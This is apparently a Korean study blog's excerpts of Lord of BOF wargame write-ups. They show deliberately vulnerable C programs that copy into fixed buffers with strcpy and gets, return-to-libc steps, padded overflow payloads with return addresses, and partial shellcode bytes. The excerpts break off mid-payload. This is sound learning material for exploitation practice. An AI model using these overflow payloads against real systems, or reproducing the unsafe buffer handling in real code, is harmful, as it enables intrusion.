junsoo STUDY

orc

#include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } ..

goblin

#include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } extern 변수는 다른 파일의 전역 변수를 사용하고자 할 때 사용한다...

cobolt

int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); } 이전 문제랑 유사한데 틀린점이 있다면 strcpy 쓰는 것이 아니라 gets 를 사용한다. 아마 입력값을 다르게 줘야한다는 걸 연습하는 문제인거 같다. RTL 방법으로 해보겠다. system 주소 찾고 #include int main() { long shell = 0x40058ae0; while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" : 0x%x\n",shell); } 위 코드를 컴파일해서 /bin/sh 주소를 찾는다. payload는 (python -c 'print("A"*20+"\xe0\x8a\x05\x4..

gremlin

buf 변수의 크기가 16byte 밖에 안돼 buf 변수에 shellcode를 넣는건 안될 거 같다. 함수 인자값으로 payload를 넣어야한다. gdb로 분석 ㄱㄱ [그림 1-3]를 보면 shellcode는 ret 밑에 넣어야할 거 같다. 따라서 payload는 "A" * 20 + shellcode 주소 + shellcode 방향을 잡고 해보자 shellcode 위치는 [그림 1-3] argc 위치에 들어가야한다. 따라서 argc 주소값을 찾아야한다. 0x43434343 위치가 shellcode 들어가는 주소이다. -> BFFF FAF0 이다. r "`python -c 'print("A"*20+"\xf0\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2..

gate

인자값이 없으면 "argv error" 문자열이 뜨고 종료되는거 같다. 인자값을 주고 실행하면 인자값을 출력해준다. tmp로 파일을 옮기고 gdb로 분석해보자 intel 방식으로 바꾸고 분석 ㄱㄱ [그림 1-4]를 보고 [그림 1-5] 그릴 수 있다. 따라서 buf에 shellcode와 dummy 값을 넣고 ret 값에 shellcode 위치를 넣으면 shell이 실행될 것이다. payload = "A"*235 + shellcode(25byte) + shellcode 주소 payload 완성시키기 위해 buf 변수 위치를 찾아야한다. payload 넣고 확인결과 0xbffff918 주소에 payload가 처음 들어간것을 알 수 있다. 따라서 buf 위치는 0xbffff918 이다. payload = "A..